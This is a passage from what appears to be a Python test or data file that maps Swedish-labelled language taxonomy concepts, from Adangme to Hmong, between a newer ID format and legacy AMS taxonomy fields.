'language', {'legacy_ams_taxonomy_id': '10015', 'type': 'language', 'label': 'Adangme', 'concept_id': '43Dr_HRx_rRx', 'legacy_ams_taxonomy_num_id': 10015}),
( {'type': 'language', 'id': 'uDkg_vvB_DsN', 'preferred_label': 'Afrihili', 'deprecated_legacy_id': '10017'},
'language', {'legacy_ams_taxonomy_id': '10017', 'type': 'language', 'label': 'Afrihili', 'concept_id': 'uDkg_vvB_DsN', 'legacy_ams_taxonomy_num_id': 10017}),
( {'type': 'language', 'id': 'RfoX_qzv_t7i', 'preferred_label': 'Afro-asiatiska språk', 'deprecated_legacy_id': '10265'},
'language', {'legacy_ams_taxonomy_id': '10265', 'type': 'language', 'label': 'Afro-asiatiska språk', 'concept_id': 'RfoX_qzv_t7i', 'legacy_ams_taxonomy_num_id': 10265}),
( {'type': 'language', 'id': 'pYrC_AU4_73N', 'preferred_label': 'Akkadiska', 'deprecated_legacy_id': '10266'},
'language', {'legacy_ams_taxonomy_id': '10266', 'type': 'language', 'label': 'Akkadiska', 'concept_id': 'pYrC_AU4_73N', 'legacy_ams_taxonomy_num_id': 10266}),
( {'type': 'language', 'id': 'c2mi_duS_MDX', 'preferred_label': 'Aleutiska', 'deprecated_legacy_id': '10267'},
'language', {'legacy_ams_taxonomy_id': '10267', 'type': 'language', 'label': 'Aleutiska', 'concept_id': 'c2mi_duS_MDX', 'legacy_ams_taxonomy_num_id': 10267}),
( {'type': 'language', 'id': 'N6Hi_gMb_u2D', 'preferred_label': 'Algokinspråk', 'deprecated_legacy_id': '10268'},
'language', {'legacy_ams_taxonomy_id': '10268', 'type': 'language', 'label': 'Algokinspråk', 'concept_id': 'N6Hi_gMb_u2D', 'legacy_ams_taxonomy_num_id': 10268}),
( {'type': 'language', 'id': 'jTzC_UTB_m7d', 'preferred_label': 'Altaiska språk, andra', 'deprecated_legacy_id': '10269'},
'language', {'legacy_ams_taxonomy_id': '10269', 'type': 'language', 'label': 'Altaiska språk, andra', 'concept_id': 'jTzC_UTB_m7d', 'legacy_ams_taxonomy_num_id': 10269}),
( {'type': 'language', 'id': 'b6Pn_p3r_nDz', 'preferred_label': 'Apachespråk', 'deprecated_legacy_id': '10270'},
'language', {'legacy_ams_taxonomy_id': '10270', 'type': 'language', 'label': 'Apachespråk', 'concept_id': 'b6Pn_p3r_nDz', 'legacy_ams_taxonomy_num_id': 10270}),
( {'type': 'language', 'id': 'Z19f_uKB_oTc', 'preferred_label': 'Arapaho', 'deprecated_legacy_id': '10271'},
'language', {'legacy_ams_taxonomy_id': '10271', 'type': 'language', 'label': 'Arapaho', 'concept_id': 'Z19f_uKB_oTc', 'legacy_ams_taxonomy_num_id': 10271}),
( {'type': 'language', 'id': 'cZpA_5RH_23F', 'preferred_label': 'Araukiska', 'deprecated_legacy_id': '10272'},
'language', {'legacy_ams_taxonomy_id': '10272', 'type': 'language', 'label': 'Araukiska', 'concept_id': 'cZpA_5RH_23F', 'legacy_ams_taxonomy_num_id': 10272}),
( {'type': 'language', 'id': 'J4aC_yPX_Sgt', 'preferred_label': 'Arawak', 'deprecated_legacy_id': '10273'},
'language', {'legacy_ams_taxonomy_id': '10273', 'type': 'language', 'label': 'Arawak', 'concept_id': 'J4aC_yPX_Sgt', 'legacy_ams_taxonomy_num_id': 10273}),
( {'type': 'language', 'id': 'XVwz_HH4_PjB', 'preferred_label': 'Artificiella, andra språk', 'deprecated_legacy_id': '10274'},
'language', {'legacy_ams_taxonomy_id': '10274', 'type': 'language', 'label': 'Artificiella, andra språk', 'concept_id': 'XVwz_HH4_PjB', 'legacy_ams_taxonomy_num_id': 10274}),
( {'type': 'language', 'id': 'A2Ts_vri_15G', 'preferred_label': 'Athapaskspråk', 'deprecated_legacy_id': '10275'},
'language', {'legacy_ams_taxonomy_id': '10275', 'type': 'language', 'label': 'Athapaskspråk', 'concept_id': 'A2Ts_vri_15G', 'legacy_ams_taxonomy_num_id': 10275}),
( {'type': 'language', 'id': 'xPeV_5HK_buN', 'preferred_label': 'Australiska språk', 'deprecated_legacy_id': '10276'},
'language', {'legacy_ams_taxonomy_id': '10276', 'type': 'language', 'label': 'Australiska språk', 'concept_id': 'xPeV_5HK_buN', 'legacy_ams_taxonomy_num_id': 10276}),
( {'type': 'language', 'id': '6RTo_v81_XdA', 'preferred_label': 'Austronesiska språk, andra', 'deprecated_legacy_id': '10277'},
'language', {'legacy_ams_taxonomy_id': '10277', 'type': 'language', 'label': 'Austronesiska språk, andra', 'concept_id': '6RTo_v81_XdA', 'legacy_ams_taxonomy_num_id': 10277}),
( {'type': 'language', 'id': 'WzGi_zgx_pbJ', 'preferred_label': 'Avariska', 'deprecated_legacy_id': '10278'},
'language', {'legacy_ams_taxonomy_id': '10278', 'type': 'language', 'label': 'Avariska', 'concept_id': 'WzGi_zgx_pbJ', 'legacy_ams_taxonomy_num_id': 10278}),
( {'type': 'language', 'id': 'V5kR_n15_m1D', 'preferred_label': 'Avestiska', 'deprecated_legacy_id': '10279'},
'language', {'legacy_ams_taxonomy_id': '10279', 'type': 'language', 'label': 'Avestiska', 'concept_id': 'V5kR_n15_m1D', 'legacy_ams_taxonomy_num_id': 10279}),
( {'type': 'language', 'id': 'fwrn_bpj_4vM', 'preferred_label': 'Awadhi', 'deprecated_legacy_id': '10280'},
'language', {'legacy_ams_taxonomy_id': '10280', 'type': 'language', 'label': 'Awadhi', 'concept_id': 'fwrn_bpj_4vM', 'legacy_ams_taxonomy_num_id': 10280}),
( {'type': 'language', 'id': 'DKjf_DVV_vxC', 'preferred_label': 'Acoli', 'deprecated_legacy_id': '10282'},
'language', {'legacy_ams_taxonomy_id': '10282', 'type': 'language', 'label': 'Acoli', 'concept_id': 'DKjf_DVV_vxC', 'legacy_ams_taxonomy_num_id': 10282}),
( {'type': 'language', 'id': '4tXr_2NX_SSy', 'preferred_label': 'Abkhasiska', 'deprecated_legacy_id': '10283'},
'language', {'legacy_ams_taxonomy_id': '10283', 'type': 'language', 'label': 'Abkhasiska', 'concept_id': '4tXr_2NX_SSy', 'legacy_ams_taxonomy_num_id': 10283}),
( {'type': 'language', 'id': 'YJcD_PeA_u4M', 'preferred_label': 'Akinesiska', 'deprecated_legacy_id': '10284'},
'language', {'legacy_ams_taxonomy_id': '10284', 'type': 'language', 'label': 'Akinesiska', 'concept_id': 'YJcD_PeA_u4M', 'legacy_ams_taxonomy_num_id': 10284}),
( {'type': 'language', 'id': 'GcJV_gXD_7YU', 'preferred_label': 'Balinesiska', 'deprecated_legacy_id': '10285'},
'language', {'legacy_ams_taxonomy_id': '10285', 'type': 'language', 'label': 'Balinesiska', 'concept_id': 'GcJV_gXD_7YU', 'legacy_ams_taxonomy_num_id': 10285}),
( {'type': 'language', 'id': 'gFSD_xzk_PfW', 'preferred_label': 'Baltiska språk, andra', 'deprecated_legacy_id': '10286'},
'language', {'legacy_ams_taxonomy_id': '10286', 'type': 'language', 'label': 'Baltiska språk, andra', 'concept_id': 'gFSD_xzk_PfW', 'legacy_ams_taxonomy_num_id': 10286}),
( {'type': 'language', 'id': 'c8iN_jaP_6xc', 'preferred_label': 'Bamilekespråk', 'deprecated_legacy_id': '10288'},
'language', {'legacy_ams_taxonomy_id': '10288', 'type': 'language', 'label': 'Bamilekespråk', 'concept_id': 'c8iN_jaP_6xc', 'legacy_ams_taxonomy_num_id': 10288}),
( {'type': 'language', 'id': 'SRr4_baB_iSZ', 'preferred_label': 'Basa', 'deprecated_legacy_id': '10289'},
'language', {'legacy_ams_taxonomy_id': '10289', 'type': 'language', 'label': 'Basa', 'concept_id': 'SRr4_baB_iSZ', 'legacy_ams_taxonomy_num_id': 10289}),
( {'type': 'language', 'id': 'YHen_8sx_MDd', 'preferred_label': 'Batak (Indonésien)', 'deprecated_legacy_id': '10290'},
'language', {'legacy_ams_taxonomy_id': '10290', 'type': 'language', 'label': 'Batak (Indonésien)', 'concept_id': 'YHen_8sx_MDd', 'legacy_ams_taxonomy_num_id': 10290}),
( {'type': 'language', 'id': 'Tzjp_quT_tX2', 'preferred_label': 'Bedja', 'deprecated_legacy_id': '10291'},
'language', {'legacy_ams_taxonomy_id': '10291', 'type': 'language', 'label': 'Bedja', 'concept_id': 'Tzjp_quT_tX2', 'legacy_ams_taxonomy_num_id': 10291}),
( {'type': 'language', 'id': 'czZH_fp8_mbz', 'preferred_label': 'Bodjpuri', 'deprecated_legacy_id': '10292'},
'language', {'legacy_ams_taxonomy_id': '10292', 'type': 'language', 'label': 'Bodjpuri', 'concept_id': 'czZH_fp8_mbz', 'legacy_ams_taxonomy_num_id': 10292}),
( {'type': 'language', 'id': 'fyTh_C2w_gsy', 'preferred_label': 'Bikol', 'deprecated_legacy_id': '10293'},
'language', {'legacy_ams_taxonomy_id': '10293', 'type': 'language', 'label': 'Bikol', 'concept_id': 'fyTh_C2w_gsy', 'legacy_ams_taxonomy_num_id': 10293}),
( {'type': 'language', 'id': 'QZv8_dXK_dw8', 'preferred_label': 'Bini', 'deprecated_legacy_id': '10294'},
'language', {'legacy_ams_taxonomy_id': '10294', 'type': 'language', 'label': 'Bini', 'concept_id': 'QZv8_dXK_dw8', 'legacy_ams_taxonomy_num_id': 10294}),
( {'type': 'language', 'id': 'XdkL_b18_aE3', 'preferred_label': 'Braj', 'deprecated_legacy_id': '10295'},
'language', {'legacy_ams_taxonomy_id': '10295', 'type': 'language', 'label': 'Braj', 'concept_id': 'XdkL_b18_aE3', 'legacy_ams_taxonomy_num_id': 10295}),
( {'type': 'language', 'id': 'txVD_z3R_P4q', 'preferred_label': 'Bretonska', 'deprecated_legacy_id': '10296'},
'language', {'legacy_ams_taxonomy_id': '10296', 'type': 'language', 'label': 'Bretonska', 'concept_id': 'txVD_z3R_P4q', 'legacy_ams_taxonomy_num_id': 10296}),
( {'type': 'language', 'id': 'becB_LRA_kuX', 'preferred_label': 'Buginesiska', 'deprecated_legacy_id': '10297'},
'language', {'legacy_ams_taxonomy_id': '10297', 'type': 'language', 'label': 'Buginesiska', 'concept_id': 'becB_LRA_kuX', 'legacy_ams_taxonomy_num_id': 10297}),
( {'type': 'language', 'id': '6VZ8_y2a_ViA', 'preferred_label': 'Burjatiska', 'deprecated_legacy_id': '10298'},
'language', {'legacy_ams_taxonomy_id': '10298', 'type': 'language', 'label': 'Burjatiska', 'concept_id': '6VZ8_y2a_ViA', 'legacy_ams_taxonomy_num_id': 10298}),
( {'type': 'language', 'id': 'A5So_xQX_T59', 'preferred_label': 'Caddo', 'deprecated_legacy_id': '10299'},
'language', {'legacy_ams_taxonomy_id': '10299', 'type': 'language', 'label': 'Caddo', 'concept_id': 'A5So_xQX_T59', 'legacy_ams_taxonomy_num_id': 10299}),
( {'type': 'language', 'id': 'QFad_Hdf_EqL', 'preferred_label': 'Karibiska', 'deprecated_legacy_id': '10300'},
'language', {'legacy_ams_taxonomy_id': '10300', 'type': 'language', 'label': 'Karibiska', 'concept_id': 'QFad_Hdf_EqL', 'legacy_ams_taxonomy_num_id': 10300}),
( {'type': 'language', 'id': 'VpQH_nua_x5a', 'preferred_label': 'Kaukasiska språk, andra', 'deprecated_legacy_id': '10302'},
'language', {'legacy_ams_taxonomy_id': '10302', 'type': 'language', 'label': 'Kaukasiska språk, andra', 'concept_id': 'VpQH_nua_x5a', 'legacy_ams_taxonomy_num_id': 10302}),
( {'type': 'language', 'id': 'yy2q_Zsg_6Ei', 'preferred_label': 'Keltiska språk, andra', 'deprecated_legacy_id': '10303'},
'language', {'legacy_ams_taxonomy_id': '10303', 'type': 'language', 'label': 'Keltiska språk, andra', 'concept_id': 'yy2q_Zsg_6Ei', 'legacy_ams_taxonomy_num_id': 10303}),
( {'type': 'language', 'id': 'DUK5_RYX_sRe', 'preferred_label': 'Centralamerikanska indianspråk, andra', 'deprecated_legacy_id': '10304'},
'language', {'legacy_ams_taxonomy_id': '10304', 'type': 'language', 'label': 'Centralamerikanska indianspråk, andra', 'concept_id': 'DUK5_RYX_sRe', 'legacy_ams_taxonomy_num_id': 10304}),
( {'type': 'language', 'id': 'FnFC_4cc_heD', 'preferred_label': 'Chagatai', 'deprecated_legacy_id': '10305'},
'language', {'legacy_ams_taxonomy_id': '10305', 'type': 'language', 'label': 'Chagatai', 'concept_id': 'FnFC_4cc_heD', 'legacy_ams_taxonomy_num_id': 10305}),
( {'type': 'language', 'id': 'uyoM_hFZ_kh1', 'preferred_label': 'Chamiska språk', 'deprecated_legacy_id': '10306'},
'language', {'legacy_ams_taxonomy_id': '10306', 'type': 'language', 'label': 'Chamiska språk', 'concept_id': 'uyoM_hFZ_kh1', 'legacy_ams_taxonomy_num_id': 10306}),
( {'type': 'language', 'id': 'FyZY_BJZ_yz6', 'preferred_label': 'Chamorro', 'deprecated_legacy_id': '10307'},
'language', {'legacy_ams_taxonomy_id': '10307', 'type': 'language', 'label': 'Chamorro', 'concept_id': 'FyZY_BJZ_yz6', 'legacy_ams_taxonomy_num_id': 10307}),
( {'type': 'language', 'id': 'wfdT_62G_T49', 'preferred_label': 'Tjetjenska', 'deprecated_legacy_id': '10308'},
'language', {'legacy_ams_taxonomy_id': '10308', 'type': 'language', 'label': 'Tjetjenska', 'concept_id': 'wfdT_62G_T49', 'legacy_ams_taxonomy_num_id': 10308}),
( {'type': 'language', 'id': 'p8af_zMR_sbN', 'preferred_label': 'Cherokee', 'deprecated_legacy_id': '10309'},
'language', {'legacy_ams_taxonomy_id': '10309', 'type': 'language', 'label': 'Cherokee', 'concept_id': 'p8af_zMR_sbN', 'legacy_ams_taxonomy_num_id': 10309}),
( {'type': 'language', 'id': 'NaRV_tAk_xx2', 'preferred_label': 'Cheyenne', 'deprecated_legacy_id': '10310'},
'language', {'legacy_ams_taxonomy_id': '10310', 'type': 'language', 'label': 'Cheyenne', 'concept_id': 'NaRV_tAk_xx2', 'legacy_ams_taxonomy_num_id': 10310}),
( {'type': 'language', 'id': 'mxQt_Uiv_X9B', 'preferred_label': 'Chibcha', 'deprecated_legacy_id': '10311'},
'language', {'legacy_ams_taxonomy_id': '10311', 'type': 'language', 'label': 'Chibcha', 'concept_id': 'mxQt_Uiv_X9B', 'legacy_ams_taxonomy_num_id': 10311}),
( {'type': 'language', 'id': 'tfxQ_bTn_jVT', 'preferred_label': 'Tsjinuksjargong', 'deprecated_legacy_id': '10312'},
'language', {'legacy_ams_taxonomy_id': '10312', 'type': 'language', 'label': 'Tsjinuksjargong', 'concept_id': 'tfxQ_bTn_jVT', 'legacy_ams_taxonomy_num_id': 10312}),
( {'type': 'language', 'id': 'tKF5_Dm1_PL5', 'preferred_label': 'Chipewyan', 'deprecated_legacy_id': '10313'},
'language', {'legacy_ams_taxonomy_id': '10313', 'type': 'language', 'label': 'Chipewyan', 'concept_id': 'tKF5_Dm1_PL5', 'legacy_ams_taxonomy_num_id': 10313}),
( {'type': 'language', 'id': 'CFaA_CXW_ZLx', 'preferred_label': 'Choctaw', 'deprecated_legacy_id': '10314'},
'language', {'legacy_ams_taxonomy_id': '10314', 'type': 'language', 'label': 'Choctaw', 'concept_id': 'CFaA_CXW_ZLx', 'legacy_ams_taxonomy_num_id': 10314}),
( {'type': 'language', 'id': 'WfH2_RjG_CyW', 'preferred_label': 'Kyrkslaviska', 'deprecated_legacy_id': '10315'},
'language', {'legacy_ams_taxonomy_id': '10315', 'type': 'language', 'label': 'Kyrkslaviska', 'concept_id': 'WfH2_RjG_CyW', 'legacy_ams_taxonomy_num_id': 10315}),
( {'type': 'language', 'id': 'Utfp_DGP_qCS', 'preferred_label': 'Chuukesiska', 'deprecated_legacy_id': '10316'},
'language', {'legacy_ams_taxonomy_id': '10316', 'type': 'language', 'label': 'Chuukesiska', 'concept_id': 'Utfp_DGP_qCS', 'legacy_ams_taxonomy_num_id': 10316}),
( {'type': 'language', 'id': 'gnmK_CdW_viG', 'preferred_label': 'Koptiska', 'deprecated_legacy_id': '10317'},
'language', {'legacy_ams_taxonomy_id': '10317', 'type': 'language', 'label': 'Koptiska', 'concept_id': 'gnmK_CdW_viG', 'legacy_ams_taxonomy_num_id': 10317}),
( {'type': 'language', 'id': 'vk8M_mQD_JtZ', 'preferred_label': 'Korniska', 'deprecated_legacy_id': '10318'},
'language', {'legacy_ams_taxonomy_id': '10318', 'type': 'language', 'label': 'Korniska', 'concept_id': 'vk8M_mQD_JtZ', 'legacy_ams_taxonomy_num_id': 10318}),
( {'type': 'language', 'id': 'Y3nz_qvd_DBW', 'preferred_label': 'Cree', 'deprecated_legacy_id': '10319'},
'language', {'legacy_ams_taxonomy_id': '10319', 'type': 'language', 'label': 'Cree', 'concept_id': 'Y3nz_qvd_DBW', 'legacy_ams_taxonomy_num_id': 10319}),
( {'type': 'language', 'id': 'FzWY_WsG_LUy', 'preferred_label': 'Muskogee', 'deprecated_legacy_id': '10320'},
'language', {'legacy_ams_taxonomy_id': '10320', 'type': 'language', 'label': 'Muskogee', 'concept_id': 'FzWY_WsG_LUy', 'legacy_ams_taxonomy_num_id': 10320}),
( {'type': 'language', 'id': 'e5AH_3JG_yc1', 'preferred_label': 'Kreolska och pidginspråk, andra', 'deprecated_legacy_id': '10321'},
'language', {'legacy_ams_taxonomy_id': '10321', 'type': 'language', 'label': 'Kreolska och pidginspråk, andra', 'concept_id': 'e5AH_3JG_yc1', 'legacy_ams_taxonomy_num_id': 10321}),
( {'type': 'language', 'id': 'h35H_jBx_XFy', 'preferred_label': 'Kreolska och pidginspråk, engelsk-baserade, andra', 'deprecated_legacy_id': '10322'},
'language', {'legacy_ams_taxonomy_id': '10322', 'type': 'language', 'label': 'Kreolska och pidginspråk, engelsk-baserade, andra', 'concept_id': 'h35H_jBx_XFy', 'legacy_ams_taxonomy_num_id': 10322}),
( {'type': 'language', 'id': 'R8WU_fQb_Y4E', 'preferred_label': 'Kreolska och pidginspråk, fransk-baserade, andra', 'deprecated_legacy_id': '10323'},
'language', {'legacy_ams_taxonomy_id': '10323', 'type': 'language', 'label': 'Kreolska och pidginspråk, fransk-baserade, andra', 'concept_id': 'R8WU_fQb_Y4E', 'legacy_ams_taxonomy_num_id': 10323}),
( {'type': 'language', 'id': 'LrDr_WmD_Ljb', 'preferred_label': 'Kusjittiska språk, andra', 'deprecated_legacy_id': '10324'},
'language', {'legacy_ams_taxonomy_id': '10324', 'type': 'language', 'label': 'Kusjittiska språk, andra', 'concept_id': 'LrDr_WmD_Ljb', 'legacy_ams_taxonomy_num_id': 10324}),
( {'type': 'language', 'id': 'MXbX_9Du_nkp', 'preferred_label': 'Dakota', 'deprecated_legacy_id': '10325'},
'language', {'legacy_ams_taxonomy_id': '10325', 'type': 'language', 'label': 'Dakota', 'concept_id': 'MXbX_9Du_nkp', 'legacy_ams_taxonomy_num_id': 10325}),
( {'type': 'language', 'id': 'AvDT_nvZ_uig', 'preferred_label': 'Dajak', 'deprecated_legacy_id': '10326'},
'language', {'legacy_ams_taxonomy_id': '10326', 'type': 'language', 'label': 'Dajak', 'concept_id': 'AvDT_nvZ_uig', 'legacy_ams_taxonomy_num_id': 10326}),
( {'type': 'language', 'id': 'Kpju_m4q_31i', 'preferred_label': 'Delaware', 'deprecated_legacy_id': '10327'},
'language', {'legacy_ams_taxonomy_id': '10327', 'type': 'language', 'label': 'Delaware', 'concept_id': 'Kpju_m4q_31i', 'legacy_ams_taxonomy_num_id': 10327}),
( {'type': 'language', 'id': 'ttMr_bG7_Go7', 'preferred_label': 'Dogri', 'deprecated_legacy_id': '10328'},
'language', {'legacy_ams_taxonomy_id': '10328', 'type': 'language', 'label': 'Dogri', 'concept_id': 'ttMr_bG7_Go7', 'legacy_ams_taxonomy_num_id': 10328}),
( {'type': 'language', 'id': 'utaN_9Tq_yM3', 'preferred_label': 'Dogrib', 'deprecated_legacy_id': '10329'},
'language', {'legacy_ams_taxonomy_id': '10329', 'type': 'language', 'label': 'Dogrib', 'concept_id': 'utaN_9Tq_yM3', 'legacy_ams_taxonomy_num_id': 10329}),
( {'type': 'language', 'id': '9AnT_Sut_QBs', 'preferred_label': 'Dravidiska språk, andra', 'deprecated_legacy_id': '10330'},
'language', {'legacy_ams_taxonomy_id': '10330', 'type': 'language', 'label': 'Dravidiska språk, andra', 'concept_id': '9AnT_Sut_QBs', 'legacy_ams_taxonomy_num_id': 10330}),
( {'type': 'language', 'id': 'HnUQ_rah_Akr', 'preferred_label': 'Duala', 'deprecated_legacy_id': '10331'},
'language', {'legacy_ams_taxonomy_id': '10331', 'type': 'language', 'label': 'Duala', 'concept_id': 'HnUQ_rah_Akr', 'legacy_ams_taxonomy_num_id': 10331}),
( {'type': 'language', 'id': '7a3p_ktX_vgP', 'preferred_label': 'Medelnederländska', 'deprecated_legacy_id': '10332'},
'language', {'legacy_ams_taxonomy_id': '10332', 'type': 'language', 'label': 'Medelnederländska', 'concept_id': '7a3p_ktX_vgP', 'legacy_ams_taxonomy_num_id': 10332}),
( {'type': 'language', 'id': 'bJXz_kjT_LfC', 'preferred_label': 'Egyptiska', 'deprecated_legacy_id': '10333'},
'language', {'legacy_ams_taxonomy_id': '10333', 'type': 'language', 'label': 'Egyptiska', 'concept_id': 'bJXz_kjT_LfC', 'legacy_ams_taxonomy_num_id': 10333}),
( {'type': 'language', 'id': 'uhGZ_Xif_8jX', 'preferred_label': 'Ekajuk', 'deprecated_legacy_id': '10334'},
'language', {'legacy_ams_taxonomy_id': '10334', 'type': 'language', 'label': 'Ekajuk', 'concept_id': 'uhGZ_Xif_8jX', 'legacy_ams_taxonomy_num_id': 10334}),
( {'type': 'language', 'id': 'NCju_o5B_Qhv', 'preferred_label': 'Elamitiska', 'deprecated_legacy_id': '10335'},
'language', {'legacy_ams_taxonomy_id': '10335', 'type': 'language', 'label': 'Elamitiska', 'concept_id': 'NCju_o5B_Qhv', 'legacy_ams_taxonomy_num_id': 10335}),
( {'type': 'language', 'id': 'ww2N_GEd_Pc7', 'preferred_label': 'Medelengelska', 'deprecated_legacy_id': '10336'},
'language', {'legacy_ams_taxonomy_id': '10336', 'type': 'language', 'label': 'Medelengelska', 'concept_id': 'ww2N_GEd_Pc7', 'legacy_ams_taxonomy_num_id': 10336}),
( {'type': 'language', 'id': 'hUGZ_TrC_T7v', 'preferred_label': 'Gammelengelska', 'deprecated_legacy_id': '10337'},
'language', {'legacy_ams_taxonomy_id': '10337', 'type': 'language', 'label': 'Gammelengelska', 'concept_id': 'hUGZ_TrC_T7v', 'legacy_ams_taxonomy_num_id': 10337}),
( {'type': 'language', 'id': 'aqBv_yoE_YVf', 'preferred_label': 'Esperanto', 'deprecated_legacy_id': '10338'},
'language', {'legacy_ams_taxonomy_id': '10338', 'type': 'language', 'label': 'Esperanto', 'concept_id': 'aqBv_yoE_YVf', 'legacy_ams_taxonomy_num_id': 10338}),
( {'type': 'language', 'id': 'aRMQ_MKY_kwp', 'preferred_label': 'Éwondo', 'deprecated_legacy_id': '10339'},
'language', {'legacy_ams_taxonomy_id': '10339', 'type': 'language', 'label': 'Éwondo', 'concept_id': 'aRMQ_MKY_kwp', 'legacy_ams_taxonomy_num_id': 10339}),
( {'type': 'language', 'id': 'RRwx_hXb_bRK', 'preferred_label': 'Finsk-ugriska språk, andra', 'deprecated_legacy_id': '10340'},
'language', {'legacy_ams_taxonomy_id': '10340', 'type': 'language', 'label': 'Finsk-ugriska språk, andra', 'concept_id': 'RRwx_hXb_bRK', 'legacy_ams_taxonomy_num_id': 10340}),
( {'type': 'language', 'id': 'k9XX_SU3_PiE', 'preferred_label': 'Medelfranska', 'deprecated_legacy_id': '10341'},
'language', {'legacy_ams_taxonomy_id': '10341', 'type': 'language', 'label': 'Medelfranska', 'concept_id': 'k9XX_SU3_PiE', 'legacy_ams_taxonomy_num_id': 10341}),
( {'type': 'language', 'id': 'LHyw_YUi_539', 'preferred_label': 'Friuliska', 'deprecated_legacy_id': '10342'},
'language', {'legacy_ams_taxonomy_id': '10342', 'type': 'language', 'label': 'Friuliska', 'concept_id': 'LHyw_YUi_539', 'legacy_ams_taxonomy_num_id': 10342}),
( {'type': 'language', 'id': 'XDyM_jnY_2XB', 'preferred_label': 'Gayo', 'deprecated_legacy_id': '10344'},
'language', {'legacy_ams_taxonomy_id': '10344', 'type': 'language', 'label': 'Gayo', 'concept_id': 'XDyM_jnY_2XB', 'legacy_ams_taxonomy_num_id': 10344}),
( {'type': 'language', 'id': 'aayg_wup_G3z', 'preferred_label': 'Gbaya', 'deprecated_legacy_id': '10345'},
'language', {'legacy_ams_taxonomy_id': '10345', 'type': 'language', 'label': 'Gbaya', 'concept_id': 'aayg_wup_G3z', 'legacy_ams_taxonomy_num_id': 10345}),
( {'type': 'language', 'id': 'nX5K_BFZ_CGM', 'preferred_label': 'Geez', 'deprecated_legacy_id': '10346'},
'language', {'legacy_ams_taxonomy_id': '10346', 'type': 'language', 'label': 'Geez', 'concept_id': 'nX5K_BFZ_CGM', 'legacy_ams_taxonomy_num_id': 10346}),
( {'type': 'language', 'id': 'kMxH_v1Y_jcW', 'preferred_label': 'Medelhögtyska', 'deprecated_legacy_id': '10347'},
'language', {'legacy_ams_taxonomy_id': '10347', 'type': 'language', 'label': 'Medelhögtyska', 'concept_id': 'kMxH_v1Y_jcW', 'legacy_ams_taxonomy_num_id': 10347}),
( {'type': 'language', 'id': '2s87_4M9_mF8', 'preferred_label': 'Gammalhögtyska', 'deprecated_legacy_id': '10348'},
'language', {'legacy_ams_taxonomy_id': '10348', 'type': 'language', 'label': 'Gammalhögtyska', 'concept_id': '2s87_4M9_mF8', 'legacy_ams_taxonomy_num_id': 10348}),
( {'type': 'language', 'id': 'oNtF_Wh5_nL3', 'preferred_label': 'Germanska språk, andra', 'deprecated_legacy_id': '10349'},
'language', {'legacy_ams_taxonomy_id': '10349', 'type': 'language', 'label': 'Germanska språk, andra', 'concept_id': 'oNtF_Wh5_nL3', 'legacy_ams_taxonomy_num_id': 10349}),
( {'type': 'language', 'id': 'Sta6_5fE_6YC', 'preferred_label': 'Gondi', 'deprecated_legacy_id': '10351'},
'language', {'legacy_ams_taxonomy_id': '10351', 'type': 'language', 'label': 'Gondi', 'concept_id': 'Sta6_5fE_6YC', 'legacy_ams_taxonomy_num_id': 10351}),
( {'type': 'language', 'id': 'WvNj_WvF_CMS', 'preferred_label': 'Gorontalo', 'deprecated_legacy_id': '10352'},
'language', {'legacy_ams_taxonomy_id': '10352', 'type': 'language', 'label': 'Gorontalo', 'concept_id': 'WvNj_WvF_CMS', 'legacy_ams_taxonomy_num_id': 10352}),
( {'type': 'language', 'id': 'GB2g_Bhp_zh7', 'preferred_label': 'Gotiska', 'deprecated_legacy_id': '10353'},
'language', {'legacy_ams_taxonomy_id': '10353', 'type': 'language', 'label': 'Gotiska', 'concept_id': 'GB2g_Bhp_zh7', 'legacy_ams_taxonomy_num_id': 10353}),
( {'type': 'language', 'id': '1V1A_8LC_9FL', 'preferred_label': 'Grebo', 'deprecated_legacy_id': '10354'},
'language', {'legacy_ams_taxonomy_id': '10354', 'type': 'language', 'label': 'Grebo', 'concept_id': '1V1A_8LC_9FL', 'legacy_ams_taxonomy_num_id': 10354}),
( {'type': 'language', 'id': 'sMa9_mkN_w7L', 'preferred_label': 'Gammalgrekiska', 'deprecated_legacy_id': '10355'},
'language', {'legacy_ams_taxonomy_id': '10355', 'type': 'language', 'label': 'Gammalgrekiska', 'concept_id': 'sMa9_mkN_w7L', 'legacy_ams_taxonomy_num_id': 10355}),
( {'type': 'language', 'id': 'pLK6_YGd_bDZ', 'preferred_label': "Gwich'in", 'deprecated_legacy_id': '10356'},
'language', {'legacy_ams_taxonomy_id': '10356', 'type': 'language', 'label': "Gwich'in", 'concept_id': 'pLK6_YGd_bDZ', 'legacy_ams_taxonomy_num_id': 10356}),
( {'type': 'language', 'id': 'ufzT_NXJ_Gbx', 'preferred_label': 'Haida', 'deprecated_legacy_id': '10357'},
'language', {'legacy_ams_taxonomy_id': '10357', 'type': 'language', 'label': 'Haida', 'concept_id': 'ufzT_NXJ_Gbx', 'legacy_ams_taxonomy_num_id': 10357}),
( {'type': 'language', 'id': 'Xfhf_EwK_2ej', 'preferred_label': 'Hawaiiska', 'deprecated_legacy_id': '10358'},
'language', {'legacy_ams_taxonomy_id': '10358', 'type': 'language', 'label': 'Hawaiiska', 'concept_id': 'Xfhf_EwK_2ej', 'legacy_ams_taxonomy_num_id': 10358}),
( {'type': 'language', 'id': 'H2Le_YR5_AnM', 'preferred_label': 'Hiligaynon', 'deprecated_legacy_id': '10359'},
'language', {'legacy_ams_taxonomy_id': '10359', 'type': 'language', 'label': 'Hiligaynon', 'concept_id': 'H2Le_YR5_AnM', 'legacy_ams_taxonomy_num_id': 10359}),
( {'type': 'language', 'id': 'iNVQ_m3Y_oxH', 'preferred_label': 'Himachali', 'deprecated_legacy_id': '10360'},
'language', {'legacy_ams_taxonomy_id': '10360', 'type': 'language', 'label': 'Himachali', 'concept_id': 'iNVQ_m3Y_oxH', 'legacy_ams_taxonomy_num_id': 10360}),
( {'type': 'language', 'id': 'hYDU_LrU_QCt', 'preferred_label': 'Hiri Motu', 'deprecated_legacy_id': '10361'},
'language', {'legacy_ams_taxonomy_id': '10361', 'type': 'language', 'label': 'Hiri Motu', 'concept_id': 'hYDU_LrU_QCt', 'legacy_ams_taxonomy_num_id': 10361}),
( {'type': 'language', 'id': 'D8L1_GrU_UEk', 'preferred_label': 'Hettittiska', 'deprecated_legacy_id': '10362'},
'language', {'legacy_ams_taxonomy_id': '10362', 'type': 'language', 'label': 'Hettittiska', 'concept_id': 'D8L1_GrU_UEk', 'legacy_ams_taxonomy_num_id': 10362}),
( {'type': 'language', 'id': 'CejU_23x_JPS', 'preferred_label': 'Hmong', 'deprecated_legacy_id': '10363'},
